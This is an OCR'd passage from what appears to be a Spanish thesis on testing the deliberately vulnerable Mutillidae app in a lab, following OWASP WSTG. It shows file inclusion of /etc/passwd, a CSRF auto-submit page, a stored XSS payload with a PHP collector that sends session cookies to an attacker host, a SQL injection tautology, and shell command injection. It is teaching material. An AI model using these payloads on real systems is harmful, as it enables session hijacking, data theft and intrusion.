distccd:x:111:65534::/:/bin/false user:x:1001: 1001 :just a user,111,,:/home/user:/bin/bash service:x:1002: 1002 ,,,,, :/home/service:/bin/bash telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false statd:x:114:65534::/var/lib/nfs:/bin/false

Figura 6.22: Uso de la variable page para cargar el fichero /etc/passwd en la pagina de inicio

Noétese que la informacién de los usuarios se separa por espacios. Si se intenta acceder a un fichero
que requiera de permisos de superusuario, el servidor devuelve un error.
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B O G https://192.168.56.101/ mutillidae/index.php?pa

[Re ter &QrkeicFovakmsarks talietHumtere b6 ExploitsDB. Google Hacking DB OffSec

@4« Mutillidae: Born to be Hacked

‘Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (O - | try harder) Not Logged In

Home Login/Register  Toggle Hints  Toggle Security ~ ResetDB  ViewLog  View Captured Data

Warning: include(/etc/shadow) [function.include]: failed to open stream: Permission denied in /var/ ! illi i php on line 469

Warning: include() [function.include]: Failed opening '/etc/shadow' for inclusion (include_path=".:/usr/share/php:/usr/share/pear’) in fvar/www/mutillidae/index.php on line 469

Figura 6.23: Error al cargar el fichero /etc/shadow en la pagina de inicio

Con lo obtenido hasta ahora, se concluye que es posible obtener acceso a ficheros que no requieran
permisos de superusuario dentro del servidor.

6.6. [WSTG-ATHZ-03] Elevar los privilegios.

Elevar los privilegios consiste en obtener permisos de usuarios superiores y con ello poder acceder a
sus recursos. Se puede llevar a cabo o bien manipulando los privilegios o bien haciendo una travesia
de URL.

6.6.1. Manipulacion de privilegios

Se ha intentado acceder a funcionalidades perteneciente a otro usuario para verificar si es posible
acceder a una funcionalidad que no deberia estar permitida por el privilegio del usuario.

= Grupo de usuarios: No se ha encontrado ningtin pardmetro que permita cambiar el grupo de
usuario y con ello acceder a recursos de usuarios pertenecientes a un grupo.

= Perfil de usuario: Como prueba de caja gris, se ha revisado el c6digo fuente dentro del direc-
torio Mutillidae y se ha buscado la cadena hidden usando el comando grep y mandando la
salida a un fichero de home, de la siguiente forma:

$ grep -R ‘‘hidden’’ * > /home/msfadmin/entradas-ocultas.txt /

fadmin@netasploitable:/var/wwu/mutillidaey grep -R "hidden > shome/msfadmin
sentradas-ocult txt
nsfadmin@netasploitable:/var/uwu/nutillidae§ cat shome/msfadminsentradas-ocultas
txt | head -n 5
add-to-your-blog.php: Cinput name="csrf-token" type="hidden" value=
php echo §1New TokenForNextRequest: '
change-log.htn: Enhanced the hidden PHPINFO page so that it woul
d work if the user
documentation/Mutillidae-Test-Scripts.txt:<input type="hidden" name="csrf-token

nane="add-to-your

Mutillidae-Test :<input type="hidden
log-php it-button"
sfadmin@metasploitable:

Figura 6.24: Etiquetas de entrada ocultas dentro del cédigo fuente de la aplicacién Mutillidae
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Con esto se han revisado todos los ficheros que tuviesen entradas con campos ocultos para
revisar si alguno de ellos va referido a datos de algtin tipo de usuario en particular. No se ha
encontrado ninguno.

s Valor de condicion: No se han identificado mensajes de error en las respuestas del servidor
que conduzcan a modificar pardmetros para actuar como algtn tipo de usuario en el servidor.

= Direccion IP: No se han localizado campos en los encabezados HT'TP que prohiban o limiten
los intentos de sesién segin la direccién IP. Se verifica que es asi ya que permite relleno
automatizado de campos, como se ha hecho en la seccién 6.3.

Se concluye que en la aplicacion no se pueden manipular los privilegios de los usuarios.

6.6.2. Travesia de URL

Se ha comprobado que no hay paginas especificas para usuarios en particular, si no que todos los
usuarios comparten los mismos recursos y solo es el contenido lo que cambia (ver figura ).

oty siamokmar Kol Huntage o aplotDE

®%¢ Mutillidae: Born to be Hacked

Version: 2.1.19  Security Level: 0 (Hosed) _Hints: Disabled (0 - | try harder) _Logged In Admin: admin (Monkey!) Version: 2.1.19

PHP Scripts Of OWASP Top 10

(a) Pégina de inicio para usuario admin (b) Pagina de inicio para usuario samurai

Figura 6.25: Contenido de la pédgina de inicio para distintos usuarios

6.7. [WSTG-SESS-02] Ver los atributos de las cookies.

Las cookies almacenan informacién del usuario que permite facilitar la navegacion en internet.
Se debe tener especial cuidado en los datos que almacene y en la forma en que se transmiten
por canales que debe estar cifrados. Para asegurarse de que la configuracién de seguridad esté
establecida se deben analizar tanto los atributos como los prefijos.

6.7.1. Atributos de cookies

Revisando los atributos de una cookie de un usuario autenticado se tiene que solo estan presentes
los siguientes atributos: username, uid y PHPSESSID.

GET http://192.168.56.101/mutillidae/index.php HTTP/1.1

Host: 192.168.56.101

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;qg=0.5

Connection: keep-alive

Cookie: username=samurai; uid=6; PHPSESSID=a54fcBafbbbB82de735470ec257076TF3
Oparade Tnsecure Requeste: 1
Sec-Fetch-Dest: document

Sec -Fetch-Mode: navigate
Sec-Fetch-5ite: none
Sec-Fetch-User: ?1

Figura 6.26: Contenido de una cookie de un usuario autenticado
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Con esto, la cookie no estd configurada de forma segura ya que no cuenta con el atributo Secure
lo que permite las transmisién con el protocolo HT'TP en vez de HTTPS, ni con otros que limitan
el uso de ésta como HttpOnly, Domain, Path, Expires o SameSite.

6.7.2. Prefijos de cookies

Como se puede ver en la figura 6.26, no se utiliza ningun prefijo que aumente la seguridad en la
cookie.

6.8. [WSTG-SESS-05] Probar la falsificacién de solicitudes
entre sitios (CSRF).

La falsificacién de solicitud entre sitios (CSRF) es un ataque que obliga a un usuario final a ejecutar
acciones no deseadas en una aplicacién web en la que esta autenticado actualmente. En la prueba
se ha creado una pagina HTML estatica en la que se induce a un usuario a hacer clic en un enlace
que redirige a otra que rellena los campos de la pagina de registro de Mutillidae.

El cédigo HTML de de la primera pagina es el siguiente:

O file:///fhomefkali/tfg/paginas/welcome.html

Kali Linux #& Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB J| OffS4

Esta es solo una pagina de bienvenida, por favor haga clic en este enlace para acceder a los recursos.

@ O Inspector Console [ Debugger 4 Network {3} Style Editor () Performance 4 Memory E S
Q_ Search HTML
w» <head
title title
head
v <hody>
v <p=
Esta es solo una pagina de bienvenida, por favor haga clic en este
<a href="index.html">enlace</a>
para acceder a los recursos.
</p=
</body>
</html>

Figura 6.27: Cédigo fuente de la pagina que lleva al usuario a hacer clic en el enlace

Es necesario saber cudles son los nombres de los campos del formulario de registro de Mutillidae y
hacia qué pagina se redirige la peticién, con lo cual se debe o bien revisar el c6digo fuente o bien
analizar el trafico mediante un proxy. Si se hace lo primero, el cédigo fuente del formulario es el
siguiente:
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<div id="id-registration-form-div">
<form action="index.php?page=register.php" method="post" enctype="application/x-www-form-urlencoded”>
<table style="margin-left:auto; margin-right:auto;">
<tr id="id-bad-cred-tr" style="display: none;">
<td colspan="2" class="error-message">
Authentication Error: Bad user name or password
</td>
</tr=
<trs<tds</td></tr>
<tr=
<td colspan="2" class="form-header">Please choose your username, password and signature</td>
</tr>
<tre<tde</tds></tr>
<tr=
<td class="label">Username</td>
<td=<input type="text" name="username" size="20">=</td>
</tr=
<tr=
<td class="label">Password</td>
<td><input type="password" name="password" size="20"></td>
</tr=
<tr=
<td class="label">Confirm Password</td=>
<td=<input type="password" name="confirm password" size="20"=</td>
</tr=
<tr=
<td class="label">Signature</td>
<td><textarea rows="10" cols="58" name="my signature"=</textarea></td>
</tr>
<tre<td></td></tr>
<tr=
<td colspan="2" style="text-align:center;"»
<input name="register-php-submit-button" class="button" type="submit" value="Create Account" />
</td>
</tr>
<trs<tds</td></tr>
</table>
</form>
</div>

Figura 6.28: Cddigo fuente de la pagina de registro

Sabiendo esto, la pagina que rellena esos campos queda se la siguiente forma:

GNU nano 6.3 index.html

Figura 6.29: Cédigo fuente de la pagina que rellena el formulario de registro en Mutillidae

Lo que se espera cuando se hace clic en el enlace de la primera pagina es que se redirija al usuario
a la segunda y que ésta redirija la peticién a la pagina de registro de Mutillidae (se consigue con
onload=°¢‘document.csrf.submit()’’ rellenando los campos de ésta y enviando los datos a la
parte back de la aplicacién). Cuando esto ultimo se produce, se sabe que se redirige a la misma
pagina mostrando un mensaje de éxito al usuario.

Se verifica que lo descrito en el parrafo anterior se ha llevado a cabo de forma exitosa:
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192.168.56.101

Bli Forums Kali MetHunter Exploit-DB Google Hacking DB J| OffSec @ New Tab

Q}@ Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home Login/Register Toggle Hints Toggle Security Reset DB View Log View Captured Data

Register for an Account

Back

| Please choose your username, password and signature ‘

Username R
Password I
Confirm Passwara ||

Signature

Create Account

Figura 6.30: Resultado de la accién de registro de un usuario mediante CSRF

Por dltimo se comprueba que se puede iniciar sesién en la aplicacién con el nuevo usuario anadido:

orums Kali NetHunter Exploit-DB Google Hacking DB J| OffSec @ New Tab

@i« Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - I try harder) Logged In User: csrf (csrf@mail.com)

Home Logout Toggle Hints Toggle Security Reset DB View Log View Captured Data

Figura 6.31: Inicio de sesién con un usuario anadido mediante CSRF

Con lo observado hasta ahora, la aplicacién es vulnerable a ataques de falsificacién de solicitudes
entre sitios (CSRF).

6.9. [WSTG-INPV-02] Inyectar cédigo ejecutable en una
entrada de datos persistente.

El XSS almacenado es un tipo de vulnerabilidad que ocurre cuando una aplicacién web recopila

informacion de un usuario que podria ser maliciosa y luego almacena esa informacién en un almacén
de datos para su uso posterior.
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6.9.1. Formularios de entrada

Se han identificado dos puntos de entrada en los que se almacena informacién en la base de datos.
Estos son:

= Registrar usuarios: http://192.168.56.101 /mutillidae/index.php?page=register.php

= Anadir un blog: http://192.168.56.101 /mutillidae /index.php?page=add-to-your-blog.php. So-
bre esta pagina se centrara el resto de la prueba.

6.9.2. Prueba de XSS almacenado

La primera prueba ha consistido en evaluar si es posible inyectar codigo dentro del campo de texto.
Para ello se ha introducido el siguiente cédigo:

<script>alert(document.cookie) </script>

Se comprueba que se puede inyectar cédigo al obtener una ejecucién de éste. En la entrada se pide
que se ejecute un cédigo que devuelva el valor de la cookie de sesién.

@%¢ Mutillidae: Born to be Hacked

Version: 2.1.19 _Security Level: 0 (Hosed) __Hints: Disabled (0 - | try harder) Logged In User: samurai (Ca i

Welcome To The Blog

[ Add blog for samurai ]

[Note: <b>,</b>,<i>,</i>,<u> and </u> are now allowed in blog entries|

<scriptalert (docunent .cookie)</script>

(a) Inyeccién de cédigo ejecutable en el campo de
texto (b) Ejecucién del cédigo inyectado

Figura 6.32: Inyeccion de cédigo en un campo de texto para la prueba de XSS almacenado

La siguiente tarea es hacer que se pueda enviar esta cookie a una pagina web controlada por el
atacante. Para ello se ha puesto en marcha un pequeno servidor web formado por una pagina
PHP que recoge los datos de una cookie y los almacena en un fichero de texto. Para hacer esto,
es necesario que haya conectividad de red entre la maquina victima y este nuevo servidor, con lo
cual se ha anadido un nuevo host con una direcciéon IP estatica como una extensién de la red que
comunica la maquina anfitriona con la victima, vboxnet0, por medio del siguiente comando:

sudo ifconfig vboxnet0:0 192.168.56.80/24
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boxnet0:0 192.168.56.80/24

<UP, BROADCAST ,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255 broadcast 172.17.255.255
ether 02: 1c0:cs queuelen @ (Ethernet)
RX packets 0 bytes 0 0 B)
X ors © dropped @ overruns @ frame ©
X packets © bytes @ (0.0 B)
ors @ dropped @ overruns @ carrier @ collisions 0

en 128 scopeid
ueuelen 1000 (Local Loopback
s 10542 bytes 7. ( i

vboxnet0: flags=4163<UP, BR‘)ADCAJT RUNNING MULTICAST> mtu 1500
inet 192.168.56 5.255.255.0 hlﬂdd(dst 192
lnetﬁ fe 0::
(Ethernet)

s 0 dlﬂpped 0 c s @ frame 0
ackets 1986 byt 9 KiB)
ors 0 dropped 0 ov 0 carrier 0 collisions 0

+168.56.255

ulane: flags=4163<UP,BROADCAST , RUNNIN 50!
inet 192.168.1.61 netmask 55.255.0 broadc t 192.168.1.255
inet6 7a7 prefixlen 64 scopeid exe<global>
inet6 fe80::2d42:ce69:f7ce:52ab p]eﬁrlen 64 scopeid @x20<link>
ether 8c:8d:2: od:fe txqueuelen (Ethernet)
RX «(ket) 470 bytes 5260677908 (4.8 GiB)
dropped 0 ove: s 0 frame o

X p«(kets 296958 bytes 10 97 (97.8 MiB)

TX errors @ dropped @ overruns @ carrier @ collisions 0

Figura 6.33: Proceso para anadir un nuevo host a la red del entorno de pruebas

Sobre esta direccion IP se ejecuta el servidor de PHP:

php -S 192.168.56.80:8080

La péagina que recoge los datos de la cookie lee el contenido del fichero cookies.txt y anade en una
nueva linea una marca de tiempo junto a los datos del argumento de la cookie. Al final vuelve a la
URL desde la que se ha llamado a esta pagina.

[~/tfg/malicioso]

$fichero = "cookies.txt";
$contenido = file_get_contents($fichero) . "\n[" . date("Y/m/d h:i:s") . "] Cookie: " . $_GET["value"];

file_put_contents($fichero, $contenido);

header("location: " . $_SERVER['HTTP_REFERER']);

Figura 6.34: Cddigo fuente de la pagina que recoge los datos de una cookie y los guarda en un
fichero

Volviendo a la aplicacién, en ésta se introduce el siguiente cédigo para enviar al servidor del atacante
la cookie de sesién de cada usuario que acceda a la pagina que muestra los blogs.
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A 192.168.56.101

Kali Forums Kali NetHunter Exploit-DB Google Hacking DB | OffSec @) New Tab

Q}@ Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home Login/Register Toggle Hints Toggle Security Reset DB View Log View Captured Data

Welcome To The Blog

Back
F )

Add New Blog Entry

‘&, View Blogs

‘ Add blog for anonymous ‘

‘Note: <b>,</b>,<i>,</i>,<u> and </u> are now allowed in blog entrles‘

<script>

document.location = "http://192.168.56.80:8088/cookie.php?value=" + document.cookie;
</script>

You have given me your datal

Save Blog Entry

Figura 6.35: Fragmento de JavaScript que envia la cookie de sesion al servidor del atacante

Lo siguiente es comprobar que la cookie se esta enviando al atacante. Esto se hace iniciando sesién
en la aplicacién y accediendo a la pagina que muestra los blogs, seleccionando la opcién de ver
todos las entradas para incluir también las anénimas, ya que se ha inyectado el cédigo JavaScript
sin iniciar sesién.

Kali Forums Kali NetHunter Exploit-DB Google Hacking DB | OffSec @ New Tab

% Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Logged In User: samurai (Carving Fools)

Home Logout Toggle Hints  Toggle Security ~ Reset DB Viewlog  View Captured Data

View Blogs

Q@ Back

View Blog Entries
@ Add To Your Blog

| Select Author and Click to View Blog

[Show ALl v |[ ViewBlog Entries |

Figura 6.36: Seleccion de la opcién de ver todos los blogs con un usuario autenticado

Los resultados son que se redirige al usuario a la pagina de raiz del servidor y que el fichero que
almacena las cookies contiene lo siguiente:
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)-[~/tfg/malicioso]

Figura 6.37: Cookies recogidas desde la aplicacién por medio de un ataque XSS almacenado

Con esto se verifica que es posible enviar informacién confidencial a sitios externos de la aplicacion.

6.9.3. Subida de archivos

No se han detectado puntos de carga de ficheros.

6.10. [WSTG-INPV-05] Inyeccién SQL.

Las pruebas de inyeccion SQL consisten en lanzar consultas al servidor que obtengan datos de la
base de datos aprovechando vulnerabilidades como un manejo inadecuado de permisos o la mala
validacion de entradas de usuario. Las pruebas de inyeccion ejecutadas han sido las siguientes:

= Técnicas de deteccion: Los puntos en los que la aplicacién conecta con la base de datos
son muchos y la mayor parte estdn relacionados a datos de los usuarios. Parte de ellos son
la péagina de login y la de user-info, en éstas dos se centraran el resto de las pruebas. Cabe
destacar que solo ha sido necesario ejecutar las pruebas de inyeccion SQL estandar, con lo
cual no se han enfocado a un SGDB concreto.

= Inyeccion cldsica: La primera consulta ejecutada sobre los formularios se realiza con un
nombre de usuario y contrasena igual a ‘1’ seguido de la tautologia or ‘1’ = “1°. El payload
completo es:

1’ or ‘12 = ‘1

Al rellenar el formulario de login con estos parametros, la aplicacién realiza una autenticacién
mediante login con uno de los usuarios presentes en la base de datos.

POST http://192.168.56.101/mutil1idae/index .php?page=login.php HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.8) Gecko/20100161 Firefox/91.0
Accept: text/html,application/xhtmLexnl,application/xnl;q=0.9, inage/webp,*/*;q=8.8
Accept-Language: en-US,en;q=0.5
Content -Type: application/x-www-form-urlencoded
Content -Length: 97 illidae:
Origin: https://192.168.56.101 Q}@ Mutillidae: Born to be Hacked
Connection: keep-alive I sy 0 s
Referer: https://192.168.56.101/muti11idae/index .php?page=login.php
Cookie: PHPSESSID=92e38bfbel6efb8Bebfal3lbbee32531
Upgrade - Insecura-Requests: 1
Sec-Fetch-Dest: document il i ly PHP Scripts Of OWASP Top 10
Sec-Fetch-Mode: navigate
Sec-Fotch-Site: same-origin Latest Verson  nstallation
Sec-Fetch-User: ?1 « Latest Version
 Intalaion niructions
Use rname=1527+0r+%271%274%30+%27 1 Epasswo rd=1%27+0r+%271%27+%30+%271§ L 0gin-php-submit -but ton=Login JUsgemstctons s
* Change Log

(0- I try harder)  Logged In User: samurai (Carving Fools)

(a) Peticién (b) Respuesta

Figura 6.38: Inicio de sesién en la aplicacién mediante ataque de inyeccién SQL

En cuanto a la pagina de user-info, al rellenar los campos del formulario con el payload
mencionado, se devuelve una lista de todos los usuarios de la base de datos.
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~user-1nfo . phoSusernana=1%27 +or+427.: 1 1 ssar-1n7o-ph 03:36 GHT
ot

) DAV/2

161/muti Lidas indsx ohppags=user-info.pno Last-Hod fi

1o 69 201 2022 21:83:35 GHT
B fbgGso 21 31bbaszzs3] Content Leng 1
=1

nax-100

(a) Peticién (b) Respuesta

Figura 6.39: Obtenciéon de los datos de todos los usuarios mediante inyeccién SQL

Please enter username and password
to view account details

Name
Password

Dant have an account? Plesse register hers

Results for . 16 records found.

Username=admin
Password=adminpass
Signature=Monkey!

Username=adrian
Password=somepassword
Signature=Zombie Films Rock!

Username-=john
Password=monkey
Signature=| lice the smell of confunk

Usernamesjeramy
Password=passward
Signature=01373 1337 speak

Username=bryce
Password=passnord
Signature=| Love SANS

Username=samurai
Password=samurai
Signature=Carving Fosls
Usernames=jim
assword=password
Signature=|im Rome is Burning
Username=hohiby
Password=password
Signature=Hnk is my dad
Username=simba
Password=password
Signature= am a cat
Username=dreveil
Password=password
Signature=Pregaration H
Username=scot!
Password=passward
Signature=5cotty Do
Username=cal
Password=password
Signature=Go Wikicats
Usernamesjahin
Password=passward
Signature=Do the Duggie!
Username=kexin
Password=42
Signature=Doug Adams rocks
Username=dave
Password=set
Signature=8zt on SET. FTW
Username=ed
Password=pentest
Signature=Commandiine KungFu anyons?

Figura 6.40: Pagina de user-info después de ejecutar la inyeccién SQL

= Uso de SELECT: Para la pagina user-info, que envia los pardmetros mediante una peticién
HTTP GET, se pueden concatenar parametros adicionales para evaluar el comportamiento
del servidor. Para ello se solicita la informacién de un tinico usuario rellenando correctamente
el formulario y una vez obtenida, se modifica la URL afiadiendo la condicién 1=0 en conjun-
cién. Se ha hecho con el operador AND y con el simbolo & y para ambos casos la consulta no
se ve afectada por la modificacién realizada. Dado que la consulta deberia haber arrojado un
error si se hubiese considerado la condicién, se puede concluir que ignora cualquiera que se
anada después de la peticion original.

104



CAPITULO 6. PRUEBAS EN UN ENTORNO CONTROLADO

.56.101

NetHunter - Exploit-DB Google Hacking DB

QE@ Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home Login/Register  Toggle Hints  Toggle Security  Reset DB ViewLog  View Captured Data

\ View your details

Please enter username and password
to view account details

Name R
View Account Details

Dont have an account? Please register here

Results for . 1 records found.

Username=samurai
Password=samurai
Signature=Carving Fools

Figura 6.41: Peticion para obtener la informacién de un usuario con una condicién de error anadida

= Consultas apiladas: Al igual que en la prueba anterior, se comprueba que la aplicacién no se
ve afecta por apilar nuevas consultas que vayan después de la original?.

O & 192.168.56.101

Docs M Kali Forums @\ Kali NetHunter #% Exploit-DB Google Hacking DB OffSec

& Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home  Login/Register  Toggle Hints  Toggle Security ~ Reset DB ViewLog  View Captured Data

\ View your details

Please enter username and password
to view account details

Name —
Password ||
View Account Details

Dent have an account? Please register here

Results for . 1 records found.

Username=samurai
Password=samurai
Signature=Carving Fools

Figura 6.42: Peticién para obtener la informacién de un usuario con una consulta adicional

6.11. [WSTG-INPV-11] Prueba de inyeccién de cédigo.

Enviando c6digo dindmico a la aplicacién desde entradas de usuario se busca que pueda ejecutarse
dentro del servidor para obtener informacién interna de éste.

4Esta prueba podria considerarse que es de caja gris ya que se estd afadiendo una consulta vélida sobre una base
de datos y tabla existente (ver figura 6.15).
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La primera prueba ha consistido en inyectar inyectar cédigo desde una URL externa cuyo tnico
contenido es la funcién phpinfo(). Se comprueba que no es posible hacerlo con este método:

O & . 6.107 % v »

Docs  KaliForums  Kali NetHunter “ Exploit-DB * Google Hacking DB | OffSec @ New Tab 0 Other Booki

Q}@ Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home Login/Register  Toggle Hints  Toggle Security ~ ResetDB  ViewLog  View Captured Data

Warning: include() [function.include]: URL file-access Is disabled in the server configuration in /var/www/mutillidae/index.php on line 469
Warning: include(http://192.168.56.80:8080/code-injection.php) [function.include: failed to open stream: no suitable wrapper could be found in /var/www/mutillidae/index.php on line 469

‘Warning: include() [function.include]: Failed opening 'http://192.168.56.80:8080/code-injection.php' for inclusion (include_path=".:/usr/share/php:/usr/share/pear’) in /var/www/mutillidae/index.php
on line 469

Figura 6.43: Intento fallido de ejecucion de cédigo por medio de una URL externa

Por otro lado, tampoco se obtiene resultado alguno si se concatenan funciones de PHP al final de
las peticiones que se lanzan al servidor, ocurriendo lo mismo que en las consultas de SQL.

6.12. [WSTG-INPV-12] Prueba de inyeccién de comandos.

Con esta prueba se busca identificar y evaluar los puntos de inyeccién de comandos que se ejecuten
en la aplicacion para obtener informacién interna sobre ésta.

En primer lugar, se ha detectado un punto de inyeccién en la péagina dns-lookup.php. Segin las
indicaciones brindadas por la propia pagina, se debe introducir en el campo de texto una direccién
IP o un nombre de host para que devuelva el estado del servidor y los registros DNS. Si bien no es
el objetivo de la prueba, dada la configuracién de la red (adaptador solo-anfitrién), no es posible
realizarla con dispositivos fuera de la red.

Para esta prueba, se ha introducido en el campo de texto la direccién IP de la propia victima
seguido de punto y coma (;) y el comando a ejecutar dentro de la mdquina que soporta a la apli-
cacion. Inicialmente se ha probado a ejecutar el siguiente comando que devuelve informacién de la
maquina:

uname -a
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O A 192.168.56.101

Jocs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB J| OffSec @) New Tab

* Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) No

Login/Register Toggle Hints Toggle Security Reset DB View Log View Captured

| DNS Lookup

Back

Who would you like to do a DNS lookup on?

Enter IP or hostname

Hostname/IP [192.168.56.101 ;uname -2 |

Lookup DNS

Results for 192.168.56.101 ; uname -a

;; connection timed out; no servers could be reached

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Figura 6.44: Inyeccién de comando que obtiene informacién de la méquina que soporta el servidor

Con lo anterior se comprueba que es posible ejecutar comandos desde esta entrada de la aplicacion.
No obstante, no es posible escalar privilegios o en otras palabras, no hay acceso a ficheros o
comandos que requieran permisos de superusuario:

| Results for 192.168.56.101 ; cat /etc/shadow

i3 connection timed out; no servers could be reached

Figura 6.45: Inyeccién de un comando que muestra el contenido de un fichero que requiere permisos
de superusuario

La siguiente prueba realizada ha consistido en obtener la ruta en la que se encuentra la pagina
desde la que se inyectan los comandos. Resulta ser el directorio /var/www/mutillidae, €l raiz de la
aplicacién. Ademads, dentro del propio comando inyectado se ha pedido una lista del contenido del
directorio:

pwd && 1s -1
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Results for 192.168.56.101 ; pwd && Is -l

ii connection timed out; no servers could

fvar /e /mutillidae
total 896

=rwxr-xr-x 1 www-data
-rwxr-xr-x 1 www-data
=rwxr-xr-x 1 www-data
=rwxr-xr-x 1 www-data
-rwxr-xr-x 1 www-data
=rwxr-xr-x 1 www-data
-rwxr-xr-x 1 www-data
=rwxr-xr-x 1 www-data
drwxr-xr-x 2 www-data
-rwxr-xr-x 1 www-data
=rwxr-xr-x 1 www-data
-rwxr-xr-x 1 www-data
=rwxr-xr-x 1 www-data
drwxr-xr-x 2 www-data
-rwxr-xr-x 1 www-data
=rwxr-xr-x 1 www-data
-rwxr-xr-x 1 www-data
=rwxr-xr-x 1 www-data
=rwxr-xr-x 1 www-data
-rwxr-xr-x 1 www-data
=rwxr-xr-x 1 www-data
drwxr-xr-x 2 www-data
=rW-r--r-- 1 www-data
drwxr-xr-x 2 www-data
-rwxr-xr-x 1 www-data
=rwxr-xr-x 1 www-data
drwxr-xr-x 3 www-data
-rwxr-xr-x 1 www-data
=rwxr-xr-x 1 www-data
-rwxr-xr-x 1 www-data
=rwxr-xr-x 1 www-data
drwxr-xr-x 7 www-data
-rwxr-xr-x 1 www-data
=rwxr-xr-x 1 www-data
drwxr-xr-x 2 www-data
=rwxr-xr-x 1 www-data
=rwxr-xr-x 1 www-data
-rwxr-xr-x 1 www-data
=rwxr-xr-x 1 www-data
-rwxr-xr-x 1 www-data
=rwxr-xr-x 1 www-data
=rwxr-xr-x 1 www-data
-rwxr-xr-x 1 www-data
=rwxr-xr-x 1 www-data
-rwxr-xr-x 1 www-data
=rwxr-xr-x 1 www-data
=rwxr-xr-x 1 www-data
-rwxr-xr-x 1 www-data
=rwxr-xr-x 1 www-data
-rwxr-xr-x 1 www-data
=rwxr-xr-x 1 www-data
drwxr-xr-x 3 www-data
-rwxr-xr-x 1 www-data
=rwxr-xr-x 1 www-data
-rwxr-xr-x 1 www-data
-rwxr-xr-x 1 www-data
=rwxr-xr-x 1 www-data

www-data
www -data
Wi - data
www -data
il -data
www-data
www -data
Wi - data
www -data
il -data
www-data
www -data
Wi - data
www -data
il -data
www-data
www -data
Wi - data
www -data
il -data
www-data
www -data
Wi - data
www -data
il -data
Wi - data
www -data
il -data
www-data
www -data
Wi - data
www -data
il -data
www-data
www -data
Wi - data
www -data
il -data
www-data
www -data
Wi - data
www -data
il -data
www-data
www -data
Wi - data
www -data
il -data
www-data
www -data
Wi - data
www -data
il -data
www-data
www -data
Wil -data
www-data

18664
4547
317
10407
9125
6211
36482
44269
4096
483
175
5747
6211
4096
1150
2453
1437
1014
22778
4843
24842
4096
386260
4096
18280
7726
4096
557
6920
1309
448
4096
203
5821
4096
27543
1160
174
1999
3482
3628
5040
6493
838
160
1922
3882
20112
7732
7602
11949
4096
11121
1293
11296
6496
12269

Mar
Sep
Feb
Sep
Mar
Apr
Jun
May
May
Sep
Jun
Sep
Feb
May
Apr
Sep
Jan
Jul
Apr
Dec
May
May
May
May
Mar
Nov
May
Apr
HNow
Oct
Sep
May
Feb
Jan
May
Jan
Oct
Nov
Feb
Feb
Feb
Sep
Dec
May
May
Feb
Jan
May
Apr
Sep
Dec
May
Sep
Oct
Oct
Jan
Mar

14

1
28

25
16
22
18

5

9
13

1
25
17
14
25

2
11
26
14

reached

2012
2011
2012
2011
2012
2012
17:33
2012
2012
2011
19:12
2011
2012
2012
2011
2011
2012
2011
2012
2011
2012
2012
2012
2012
2012
2011
2012
2012
2011
2011
2011
2012
2012
2012
2012
2012
2011
2011
2012
2012
2012
2011
2011
2011
2011
2012
2012
2012
2012
2011
2011
2012
2011
2011
2011
2012
2012

add-to-your-blog.php
arbitrary-file-inclusion.php
authorization-required.php
browser-info.php
capture-data.php
captured-data.php
captured-data.txt
change-log.htm

classes

closedb.inc

config.inc

credits.php
dns-lookup.php
documentation
favicen.ico

footer.php

framer.html

framing.php

header.php

home . php
html5-storage.php

images

inc

includes

index.php
installation.php
javascript
log-visit.php

login.php

notes.php

opendb.inc
owasp-esapi-php
page-not-found.php
password-generator.php
passwords
pen-test-tool-lookup.php
php-errors.php

ph pP_!_vi\min .php
phpinfo.php
process-commands.php
process-login-attempt.php
redirectandlog.php
register.php
rene-magritte.php
robots.txt
secret-administrative-pages.php
set-background-color.php
set-up-database.php
show-1log. php
site-footer-xss-discussion.php
source-viewer.php

styles
text-file-viewer.php
usage-instructions.php
user-info.php
user-poll.php
view-someones-blog.php

Figura 6.46: Inyeccion de un comando que devuelve el directorio actual y lista su contenido

Sabiendo que el directorio actual es el de la aplicacién, se pueden buscar los puntos en los que se
usen contrasenas, esto se haria revisando cada uno de los ficheros en busca de la cadena password:

grep -R

3

‘password’’ *

Se observa cémo en la respuesta del servidor (figura 6.47), se llena la pantalla con las lineas en las
que aparece la palabra password. Es de especial interés el contenido del fichero setup-database.php,
que contiene una query para poblar la tabla accounts de la base de datos owasp10.
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register.php: register.php: robots.txt:Disallow: ./passwords/ set-up-database.php: ‘password TEXT, '. set-up-database.php: SIQuery = "INSERT INTO accounts (username, password, mysignature, is_admin) VALUES set-up-database.php: (‘adrian’, ‘somepassword', ‘Zombie Films Rock!’, mus) set-
up-database.php: (jeremy’, ‘password', 'd1373 1337 speak', ‘FALSE"), set-up-database.php: (bryce', ‘password’, 'l Love SANS', FALSE'), set-up-database,php: (Jim’, ‘password, ‘Jim Rome is Burning’, ‘FALSE"), set-up- ﬂa(abase php: (bobby'. passwerd Hark s my dad'. FALSE), set
